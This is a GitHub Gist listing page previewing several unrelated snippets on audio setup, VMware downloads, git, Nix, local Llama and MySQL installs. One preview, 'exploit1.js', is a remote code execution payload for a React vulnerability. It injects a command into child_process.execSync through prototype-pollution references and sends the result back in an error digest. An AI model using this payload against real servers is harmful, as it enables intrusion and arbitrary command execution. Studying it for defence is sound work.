Skip to content

Instantly share code, notes, and snippets.

@milnak
milnak / foobar2000-dsd-sacd.md
Last active December 17, 2025 04:30
Foobar 2000 DSD and SACD support: Guide to setting up Foobar2000 player for hi-res audio (DSF, DFF, SACD, ISO) #windows

Foobar2000 DSD and SACD support

I've successfully followed these steps to get DSD (.dsf filetype) and SACD (.iso filetype) playing at high bit rate using foobar2000 on my S.M.S.L M500 DAC.

This has been adapted from "SECTION II" of this page, thanks to "sirblew" for the tip!

Introduction

DSD stands for Direct Stream Digital and it is a high-definition lossless audio format with a twist. PCM signal solutions (like FLAC, TTA or APE) measure a set of bits multiple times per second to capture the audio data, hence the 16/24-bit parameter. On the other hand, DSD uses only one bit but samples it 2.8 million times a second to capture the audio signal.

@atoponce
atoponce / rates.md
Last active December 17, 2025 04:27
Verifiable brute force strength rates across different projects

Verifiable brute force strength

Below are table of various projects that can completely exhaust n-bits of keyspace. In other words, counting completely and fully from 0 to 2ⁿ-1.

This Gist implies no discussion about how this is relevant to quantum computing using Grover's algorithm, meet-in-the-middle or birthday attacks, or anything of the like. It's strictly a Gist about raw speed, measuring the result in bits.

If you know of other noteworthy and verifiable brute force searching projects,

@jetfir3
jetfir3 / download_fusion.sh
Last active December 17, 2025 04:21
Download VMware Fusion Pro Without a Broadcom Account
#!/usr/bin/env bash
# Download VMware Fusion for macOS without a Broadcom account.
#
# This script allows you to download various versions of VMware Fusion
# from Broadcom's Cloudflare CDN (versions 8.0.0 to 13.6.3)
# or from the archive.org VMware Workstation archive (versions 8.x.x+).
#
# Options:
# -k: Keep the downloaded file compressed (Cloudflare only; ignored for archive.org).
@pavankjadda
pavankjadda / How to fix gitignore not working issue.md
Last active December 17, 2025 04:20
How to fix "gitignore not working" issue

FYI: Created blog post with more details

How to fix ".gitignore not working" issue?

Sometimes git does not exclude files/folders added .gitignore especially if you had commited them before. Here is how to fix it. I am ignoring node_modules from Angular project as an example

  1. Update .gitignore with the folder/file name you want to ignore. You can use anyone of the formats mentioned below (prefer format1)
### Format1  ###
node_modules/
@brokenpip3
brokenpip3 / home-manager-remote.sh
Last active December 17, 2025 04:16
home-manager-remote: a simple bash script to build and apply remotely an home-manager configuration from your flake to the target hosts.
#!/usr/bin/env bash
#
# Home manager remote
#
# A simple bash script to build and apply a home-manager configuration
# from your flake to the target hosts.
# Can both build locally and copy the closure or build on target
#
# Usage:
# home-manager-remote.sh <flake_path> [target] [--build-on-target]
@rain-1
rain-1 / llama-home.md
Last active December 17, 2025 04:16
How to run Llama 13B with a 6GB graphics card

This worked on 14/May/23. The instructions will probably require updating in the future.

llama is a text prediction model similar to GPT-2, and the version of GPT-3 that has not been fine tuned yet. It is also possible to run fine tuned versions (like alpaca or vicuna with this. I think. Those versions are more focused on answering questions)

Note: I have been told that this does not support multiple GPUs. It can only use a single GPU.

It is possible to run LLama 13B with a 6GB graphics card now! (e.g. a RTX 2060). Thanks to the amazing work involved in llama.cpp. The latest change is CUDA/cuBLAS which allows you pick an arbitrary number of the transformer layers to be run on the GPU. This is perfect for low VRAM.

  • Clone llama.cpp from git, I am on commit 08737ef720f0510c7ec2aa84d7f70c691073c35d.
@akshaymarch7
akshaymarch7 / exploit1.js
Created December 16, 2025 05:01
React Critical Vulnerability (CVSS 10.0) - exploit1 code
(async () => {
// === CONFIGURATION ===
const cmd = "touch iWasHere"; // The command you want to run
const targetUrl = "/namaste"; // The endpoint to hit (relative to current domain)
console.log(`[*] Attempting to run command: ${cmd}`);
// 1. Construct the malicious payload
// This injects the command into a child_process.execSync call and throws the result in an error digest
const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('${cmd}').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}`;
@vt-rli
vt-rli / Install_MySQL_5-7_macOS_26_Tahoe.md
Created September 18, 2025 15:07
Install MySQL 5.7 on macOS 26(Tahoe) using Homebrew

It is now September 18, 2025, three days after the release of macOS 26 (Tahoe). Due to a few legacy projects, I still need to use MySQL 5.7 in 2025.

Homebrew has long since dropped support for MySQL 5.7. The old method of installing via brew tap homebrew/core --force and then modifying [email protected] no longer works, and brew edit [email protected] is also broken.

Thanks to ferrucc-io's reply, I refined and tested the steps myself and got MySQL 5.7.44 up and running on macOS 26.

For anyone who runs into the same issue, I’m documenting here:

@robhrt7
robhrt7 / MySQL_5-7_macOS.md
Last active December 17, 2025 04:14 — forked from nrollr/MySQL_macOS_Sierra.md
Install MySQL 5.7 on macOS using Homebrew

This is a fork of original gist https://gist.github.com/nrollr/3f57fc15ded7dddddcc4e82fe137b58e, with slight changes on pointing to 5.7 version branch, instead of 8 (latest default of MySQL in Hombrew).

Install MySQL 5.7 on macOS

This procedure explains how to install MySQL using Homebrew on macOS (Sierra 10.12 and up)

Install Homebrew

  • Installing Homebrew is effortless, open Terminal and enter :
    $ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
  • Note: Homebrew will download and install Command Line Tools for Xcode 8.0 as part of the installation process.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.